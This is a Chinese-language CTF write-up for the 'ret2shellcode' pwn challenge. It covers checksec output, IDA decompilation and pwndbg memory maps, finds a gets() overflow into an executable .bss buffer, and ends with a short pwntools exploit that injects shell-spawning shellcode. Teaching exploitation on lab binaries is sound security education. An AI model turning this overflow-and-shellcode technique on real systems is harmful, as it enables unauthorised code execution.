ret2shellcode
介绍
shellcode的意思其实就是能获取到shell的code,以前还疑惑为什么要交shellcode。
解题
1、先查看附件信息
使用 checksec ret2shellcode
可以查看到ret2shellcode的信息;发现是32位的小端序,某个段有着可读可写可执行的权限。
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
将文件拖入IDA中查看内容,按F5反编译成C语言。这段代码中可以发现get没有限制我们读入的数据,可以造成栈溢出;buf2是一块为64h字节大小的.bss段内的空间。
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
使用pwndbg调试程序,使用b main
在main函数下断点,run
指令来运行程序。再使用vmmap查看每个段的权限。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/pwn/Pwn/pwn_challenge/ret2shellcode
0x8049000 0x804a000 r-xp 1000 0 /home/pwn/Pwn/pwn_challenge/ret2shellcode
0x804a000 0x804b000 rwxp 1000 1000 /home/pwn/Pwn/pwn_challenge/ret2shellcode
0xf7dcb000 0xf7fb3000 r-xp 1e8000 0 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb3000 0xf7fb5000 r-xp 2000 1e7000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb5000 0xf7fb7000 rwxp 2000 1e9000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb7000 0xf7fb9000 rwxp 2000 0
0xf7fcb000 0xf7fcd000 rwxp 2000 0
0xf7fcd000 0xf7fd0000 r--p 3000 0 [vvar]
0xf7fd0000 0xf7fd1000 r-xp 1000 0 [vdso]
0xf7fd1000 0xf7ffb000 r-xp 2a000 0 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r-xp 1000 2a000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rwxp 1000 2b000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
可以发现
0x804a000 0x804b000 rwxp 1000 1000 /home/pwn/Pwn/pwn_challenge/ret2shellcode
是.bss段,根据IDA中.bss的地址。
那么我们的思路就是让strncpy将我们的shellcode拷贝到bss段中,我们再将return address指向buf2的位置;这就导致执行了我们的shellcode,从获得shell。
可能会有同学有个疑惑,就是为什么在gets()处改变了return address的地址,为什么还能继续执行下面的strncpy()函数。就像下面的小伙伴说的:
payload是被gets接收后,谥出的地址是0xO804A080,gets执行完毕后程序会跳转到0x0804A080,然后比时0x0804A080啥也没有,我理解此时就会程序出错了啊?怎么会继续跑strncpy?
这是因为我们输入是在s这个局部变量里面,这时候它是处于main函数的栈帧中。所以我们修改的是main函数的返回地址;并且由于s的栈帧还在get()栈帧上,我们是无法修改get()函数的栈帧的。
现在我们只需要构造溢出就可以,使用pwmgbd来调试程序,在get()输入后,查看栈的情况。可以发现ebp在0xffffd0a8,我们的输入在0xffffd03c,相减就可以发现差为108,再溢出4个字节的ebp,那么需要112字节的垃圾数据就可以到达retun address。
构造exp:
rom pwn import *
io = process("./ret2shellcode")
buf2 = 0x0804A080
payload = asm(shellcraft.sh()).ljust(112,b'B')+ p32(buf2)
io.sendline(payload)
io.interactive()
至此完成整个过程。
标签:rwxp,i386,ret2shellcode,pwn,xp,1000 From: https://www.cnblogs.com/qianyuzz/p/17590683.html